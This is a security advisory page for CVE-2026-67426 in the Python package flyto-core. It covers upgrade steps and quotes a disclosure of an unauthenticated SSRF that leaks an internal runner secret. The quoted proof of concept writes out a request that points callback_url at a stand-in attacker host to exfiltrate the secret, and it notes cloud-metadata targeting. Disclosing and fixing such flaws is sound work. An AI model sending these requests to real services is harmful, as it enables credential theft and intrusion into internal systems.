How to Fix CVE-2026-67426

To remediate this vulnerability, upgrade all affected Flyto2 Core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flyto-core fixed: 2.26.7
pip install flyto-core>=2.26.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show flyto-core

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-67426, inspect your installed packages using pip:

pip show flyto-core

Analyze the terminal output to locate any version of Flyto2 Core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.26.7), your application is affected.

Note: The pip show flyto-core command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Flyto2 Core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service's `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine. ## Root Cause - `src/core/verification_service.py:363-364` — `/run` has no `Depends`/auth dependency. - `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`). - `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`). - `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file. - `Dockerfile.verification` CMD = `main('0.0.0.0', 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` → the shipped image binds all interfaces by default. ## Impact Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522). ## Proof of Concept Code-proven this session (all lines confirmed on v2.26.6): ``` POST http://<verification-host>:8344/run {"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"} # -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET> # Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body. ``` ## Attack Chain 1. Entry: unauthenticated `POST http://<host>:8344/run` with `callback_url:"http://attacker.tld/collect"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344. 2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`. 3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references. 4. Sink: `post_callback` → `session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329). 5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint. ## Bypass Evidence `/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces. ## Affected Versions `<= 2.26.6` — `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag. ## Suggested Fix Add authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default. ## Credit Vulnerability discovered by zx (Jace).
